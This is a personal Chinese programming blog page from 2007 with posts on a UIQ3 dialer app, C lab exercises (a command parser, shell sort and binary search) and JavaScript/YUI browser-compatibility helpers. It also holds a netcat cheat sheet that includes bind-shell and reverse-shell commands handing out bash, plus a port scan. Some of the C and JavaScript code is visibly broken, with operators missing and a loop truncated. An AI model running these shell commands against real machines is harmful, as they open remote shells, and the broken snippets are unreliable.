Touch Dial

2007-10-28

      哈哈,出粮了,买手机了,抽时间写了个uiq3的拨号软件,挺好玩的^_^,下面是it168里的文章。http://se.it168.com/viewthread.php?tid=815203&page=1&extra=

      上星期买了部w950i,找资源来到168,看到UCall很酷,但很久没更新,于是我做了一个升级版。
因为按键图片是动态载入的,所以程序反应有点慢。大家测试后给点意见^_^



将程序安装到卡上,会在resource\Apps\目录下创建TouchDial目录。所有程序用到的图片都放在这,
各位朋友可以将自己的图片替换掉原来的,diy一个自己的拨号盘。

点击在新窗口查看全图

更新了按键的间隔,横向间隔没了,但纵向的间隔怎么都搞不定。。。。



跟新了图片和拨打键的位置。喜欢原来位置的朋友下载dialkey.rar覆盖resource\Apps\Touchdial目录里的图片即可。

Tag: 代码 UIQ3

nc 使用摘录

2007-02-11

netcat -- 功能多得无法想象的网络通道,俗称“瑞士军刀”

server: nc -l -p 1234 监听端口1234

client: nc 192.168.0.1 1234 连入服务器

server: nc -l -p 1234 -e bash 连入时获得shell

client: nc -e 192.168.0.1 1234 也可以在客户端指定

server: nc -e bash 192.168.0.11234 反向连接

client: nc -l -p 1234

server: tar -czf - file | nc -l -c -p 1234 打包文件传送

client: nc 192.168.0.1 1234 | tar xzvf - 解压

nc -nv -w2 -z 192.168.0.1 80-445 扫描端口

......

Tag: 代码


操作系统的最后一个实验,实现简单的命令解析和系统调用。

实验内容:

(1)parse应提供一个命令提示符,如parse>,表示接收用户的输入,每次执行完成后再打印下一个命令提示符parse>。当用户没有输入时,parse需要一直处于随时等待输入状态,同时再屏幕上显示一些必要的信息。

(2)如果用户提交了一个内部命令,parse应当按照下面的描述执行相应动作。
 quit:结束所有的子进程并退出parse.
 disp: 显示命令行后的所有字符。
 list:列出当前目录下的所有文件。
 changedir:改变当前目录到所输入目录。

(3)分析用户输入
    1)分析用户输入的语法分析器应具有下面介绍的功能,它能够检查用户的输入错误。如用户输入的某些地方出错了,parse应提供合理的出错信息。
    2)就像shell一样,parse每次接受用户输入的一行命令,在用户按下回车键(Enter)后开始执行分析动作。

#include <stdio.h>
#include <fcntl.h>
char compare(char *);
void input(char arg[][20],int *);
int main() {
char arg[5][20];
int i,argc,exit;
exit=0;
while(exit==0) {
        input(arg,&argc);
        printf("the command is %s\n",arg[0]);
        switch(compare(arg[0])) {
                case 'q':{//quit
   exit=1;
                        break;
                }
                case 'd':{//disp
                for(i=1;i<argc;i++)
   printf("%s ",arg[i]);
  printf("\n");
                        break;
                }
                case 'l':{//list
   if(fork()==0)
                         execlp("ls","ls",NULL);
   
                        break;
                }
                case 'c':{//changedir
                        chdir(arg[1]);
   if(fork()==0)
                         execlp("pwd","pwd",NULL);
                        break;
                }
                case 'e':{
                        printf("enter error\n");
                        break;
                }
        }
 wait(NULL);
 }
}
char compare(char *str) {
        //printf("%s\n",str);
        if(strcmp(str,"quit")==0)return 'q';
        if(strcmp(str,"disp")==0)return 'd';
        if(strcmp(str,"list")==0)return 'l';
        if(strcmp(str,"changedir")==0)return 'c';
        else return 'e';
}
void input(char arg[][20],int *argc) {
char *cmd_s,*cmd_e,cmd[100];
int i=0,cmd_l=0;
        cmd_s=cmd_e=cmd;
        printf("weibing>");
        fgets(cmd,sizeof(cmd),stdin);
        for(i=0;*cmd_e!='\0'&&i<5;cmd_e++) {
                if(*cmd_e==' '||*cmd_e=='\n') {
                        strncpy(arg[i],cmd_s,cmd_l=cmd_e-cmd_s);
                        arg[i][cmd_l]='\0';
                        cmd_s=cmd_e+1;
                        i++;
                }
        }
        strcpy(arg[i],cmd_s);
        *argc=i+1;
}

Tag: 代码


数据结构实验课内容,加上二分法查找:

1.读入或用随机函数生成10个整数作为数组元素; 

2.调用排序函数进行排序,输出升序的排序结果; 

3.修改排序函数,变成降序排序,调用之后输出排序结果; 

4.读入一个数组元素,调用折半查找函数,输出该元素在数组中的位置; 

5.读入一个非数组元素,调用折半函数,输出“找不到”  

6.改进折半查找函数,使之能统计元素之间的比较次数并输出。

#include "stdio.h"
#include "time.h"
void shell_insert(char *L,int dk,int type) {
int i,j;
    for(i=dk+1;i<=10;i++) {
        if( (type ? L[i]L[i-dk]) ) {
            L[0]=L[i];
            for(j=i-dk;j>0&&(type?L[0]L[j]);j-=dk)
                L[j+dk]=L[j];
            L[j+dk]=L[0];
        }
    }
}
void shell_sort(char *L,int type) {
int i,j,dlta[3]={3,2,1};
    for(i=0;i<3;i++) {
        shell_insert(L,dlta[i],type);
/*    printf("the %d time sorted_group is ",i);
    for(j=0;j<11;j++)
        printf("%c ",L[j]);
    printf("\n");
*/    }
}
int bin_search(char *L,char key,int *count) {
int low,high,mid;
low=1;high=10;
*count=1;
while(low <= high) {
        mid=(low+high)/2;
        if(L[mid]==key) return mid;
        else if(L[mid]>key) low = mid+1;
        else high = mid -1;
        (*count)++;
        }
return 0;
}
int main(void)
{
int i,find_count;
char key,group[11];
    srand((unsigned)time(NULL));
    printf("the group is ");
    for(i=1;i<11;i++)
        printf("%c ",group[i]=rand()%26+'A');
    printf("\n");
    shell_sort(group,1);
    printf("the up sorted_group is ");
    for(i=1;i<11;i++)
        printf("%c ",group[i]);
    printf("\n");
    shell_sort(group,0);
    printf("the down sorted_group is ");
    for(i=1;i<11;i++)
        printf("%c ",group[i]);
    printf("\n");
    printf("enter the key you want\n");
    scanf("%c",&key);
  while(1){
    if(i=bin_search(group,key,&find_count))
        printf("position is %d,find_count is %d\n",i,find_count);
    else
        printf("not found\n");
    printf("continue? n for exit\n");
    scanf(" %c",&key);
    if(key=='n')break;
  }
}

Tag: 代码


    由于IE和Firefox对鼠标当前位置获取方法不同(IE为event.x|y,FF为event.pageX|Y),一般采用的是event.clientX代替两者,但当出现滚动条时event.clientX在IE和FF中的表现会略有不同。下面看看prototypeYUI如何处理这个问题...

prototype

  pointerX: function(event) {
    return event.pageX || (event.clientX +
      (document.documentElement.scrollLeft || document.body.scrollLeft));
  },

  pointerY: function(event) {
    return event.pageY || (event.clientY +
      (document.documentElement.scrollTop || document.body.scrollTop));
  },

YUI

getPageX: function(ev) {
    var x = ev.pageX;
    if (!x && 0 !== x) {
        x = ev.clientX || 0;
        if ( this.isIE ) {
x += this._getScrollLeft();
        }
    }
    return x;
},

getPageY: function(ev) {
    var y = ev.pageY;
    if (!y && 0 !== y) {
        y = ev.clientY || 0;
        if ( this.isIE ) {
y += this._getScrollTop();
        }
    }
    return y;
},


思路都一样,通过判断是否支持某对象来判断浏览器,然后增加Scrol的偏置值。



一时大意,被几个HTML代码折腾了一个下午...

下面是我一个弹出框的小代码:

<div id="report">
 <div class="hd" id="report_header">请输入举报内容</div>
 <div class="bd">
  <form name="reportForm" method="POST" action="?controller=Report&action=create">
   <p>举报内容:</p>
   <textarea name="body" id="report_body" cols="40" rows="8" ></textarea>
   <input type="hidden" name="item_id" id="item_id" value="">
  </form>
 </div>
</div>

    原本我想当输入为空时,将header改为 '你输入的举报内容为空,请输入举报内容'。于是有了以下代码:

var handleSubmit = function() {
 if(document.getElementById("report_body").value == '') {
 document.getElementById("report_header").value ='你输入的举报内容为空,请输入举报内容';
 return false;
 }
 this.submit();
}

但怎么试也没成功,用YUI的setHeader却可以,暂时敷衍了事...

    很久很久以后(故事发生在昨天),下午由于要加一段清空提示的代码,才发现这个问题:头部内容还是无法更改,查Module.js的代码,查文档都没有发现有价值的地方。最终还是仔细检查上面两段代码,才发现一个十分可笑的地方。见红色的value,那可不是输入框啊,晕!改为innerHTML后一切如我所愿...



再次耗费一个小时,发现YAHOO.util.Dom.setStyle无论如何都无法在我的代码中生效

YAHOO.util.Dom.setStyle= ("div", "width", "100px");

YAHOO.util.Dom.setStyle= ("div", "display", "none");

YAHOO.util.Dom.setStyle= ("item", "display", "none");

YAHOO.util.Dom.setStyle= ("div", "background-color", "red");

................................

在网上看到别人这样写

YAHOO.util.Dom.setStyle(["div1","div2","div3"], "color","red");

YAHOO.util.Dom.setStyle(objDiv, 'height',t);

YUI里的代码这样写

DOM.setStyle(del, "visibility", "");

DOM.setStyle(lel, "visibility", "hidden");

 我就是无法成功...

可怜我现在的 toggle() 要写成这样了

function toggle(obj) {
 var el = document.getElementById(obj);
 if ( YAHOO.util.Dom.getStyle(obj,'visibility') != 'hidden' ) {
  el.style.visibility='hidden';
 }
 else {
  el.style.visibility = 'visible';
 }
}



    早上用了dustindiaz的toggle() ,发现el.style.display 的取值不正常....

原来除了内联的css外,不能直接这样取值,IE下可以用currentStyle顶替,firefox下就要通过document.defaultView.getComputedStyle(xxxl).getPropertyValue(xxx) 来取值,十分不方便,上网傻找了一通,无果....

    很幸运的是,YUI的DOM里面就内置了一个getStyle函数,可以直接取当前css的值。部分代码如下:

if (property == 'opacity' && el.filters) {// IE opacity
    value = 1;
    try {
       value = el.filters.item('DXImageTransform.Microsoft.Alpha').opacity / 100;
    } catch(e) {
       try {
          value = el.filters.item('alpha').opacity / 100;
       } catch(e) {}
    }
 } else if (el.style[camel]) { // camelCase for valid styles
    value = el.style[camel];
 }
 else if (isIE && el.currentStyle && el.currentStyle[camel]) { // camelCase for currentStyle; isIE to workaround broken Opera 9 currentStyle
    value = el.currentStyle[camel];
 }
 else if ( dv && dv.getComputedStyle ) { // hyphen-case for computedStyle
    var computed = dv.getComputedStyle(el, '');
   
    if (computed && computed.getPropertyValue(hyphen)) {
       value = computed.getPropertyValue(hyphen);
    }
}

现在修改一下toggle() ,

function toggle(obj) {
 var el = YAHOO.util.Dom.getStyle(obj, "visibility");
 if ( el != 'hidden' ) {
  YAHOO.util.Dom.setStyle(obj, "visibility", "hidden");
 }
 else {
  YAHOO.util.Dom.setStyle= (obj, "visibility", "visible"); }
}

搞定!现在效率虽然是相对差了些,不过方便易用多了^-^

如果不喜欢YUI,还有另外一个通用函数:

function GetCurrentStyle (obj, prop) {
if (obj.currentStyle) {
return obj.currentStyle[prop];
}
else if (window.getComputedStyle) {
prop = prop.replace (/([A-Z])/g, "-$1");
prop = prop.toLowerCase ();
return window.getComputedStyle (obj, "").getPropertyValue(prop);
}
return null;
}



接上篇,还附一个美元$ 函数 ...来自Prototype...

<确实厉害,不仅能取某一元素,还能去一堆的元素>

Last but not least, a bonus function: The Prototype Dollar Function

function $() {
var elements = new Array();
for (var i = 0; i < arguments.length; i++) {
var element = arguments[i];
if (typeof element == 'string')
element = document.getElementById(element);
if (arguments.length == 1)
return element;
elements.push(element);
}
return elements;
}

// Sample Usage:
var obj1 = document.getElementById('element1');
var obj2 = document.getElementById('element2');
function alertElements() {
  var i;
  var elements = $('a','b','c',obj1,obj2,'d','e');
  for ( i=0;i

附一句,blogbus的编辑器太差太难用了!!!



    dustindiaz好像是米国的牛人,搜索YUI时看到他的网站,尤其是看到他用YUI的DOM和EVENT编写的俄罗斯方块(YUI Tetris)时(据说只用了两天半时间),那个牛,无法用现在的我来衡量^-^

    翻了他的一篇Top 10 custom JavaScript functions of all time,(十大常用js函数)觉得不错,以下是简略介绍:

10) addEvent() 给对象添加行为

function addEvent(elm, evType, fn, useCapture) {
if (elm.addEventListener) {
elm.addEventListener(evType, fn, useCapture);
return true;
}
else if (elm.attachEvent) {
var r = elm.attachEvent('on' + evType, fn);
return r;
}
else {
elm['on' + evType] = fn;
}
}

9) addLoadEvent() 添加自动加载行为

function addLoadEvent(func) { var oldonload = window.onload; if (typeof window.onload != 'function') { window.onload = func; } else { window.onload = function() { oldonload(); func(); } } }

8) getElementsByClass() 根据className获取对象

function getElementsByClass(searchClass,node,tag) { var classElements = new Array(); if ( node == null ) node = document; if ( tag == null ) tag = '*'; var els = node.getElementsByTagName(tag); var elsLen = els.length; var pattern = new RegExp('(^|\\s)'+searchClass+'(\\s|$)'); for (i = 0, j = 0; i < elsLen; i++) { if ( pattern.test(els[i].className) ) { classElements[j] = els[i]; j++; } } return classElements; }

7) cssQuery() 查询对象的css属性

6) toggle() 显示或隐藏对象元素

function toggle(obj) { var el = document.getElementById(obj); if ( el.style.display != 'none' ) { el.style.display = 'none'; } else { el.style.display = ''; } }

5) insertAfter() 将节点插入到某节点前

function insertAfter(parent, node, referenceNode) { parent.insertBefore(node, referenceNode.nextSibling); }

4) inArray() 判断数组里是否具有某值

Array.prototype.inArray = function (value) { var i; for (i=0; i < this.length; i++) { if (this[i] === value) { return true; } } return false; };

3, 2, & 1) getCookie(), setCookie(), deleteCookie() Cookie的读写设操作

function getCookie( name ) { var start = document.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ';', len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) ); } function setCookie( name, value, expires, path, domain, secure ) { var today = new Date(); today.setTime( today.getTime() ); if ( expires ) { expires = expires * 1000 * 60 * 60 * 24; } var expires_date = new Date( today.getTime() + (expires) ); document.cookie = name+'='+escape( value ) + ( ( expires ) ? ';expires='+expires_date.toGMTString() : '' ) + //expires.toGMTString() ( ( path ) ? ';path=' + path : '' ) + ( ( domain ) ? ';domain=' + domain : '' ) + ( ( secure ) ? ';secure' : '' ); } function deleteCookie( name, path, domain ) { if ( getCookie( name ) ) document.cookie = name + '=' + ( ( path ) ? ';path=' + path : '') + ( ( domain ) ? ';domain=' + domain : '' ) + ';expires=Thu, 01-Jan-1970 00:00:01 GMT'; }

附代码链接 common.js


分页共2页 1 2 下一页 最后一页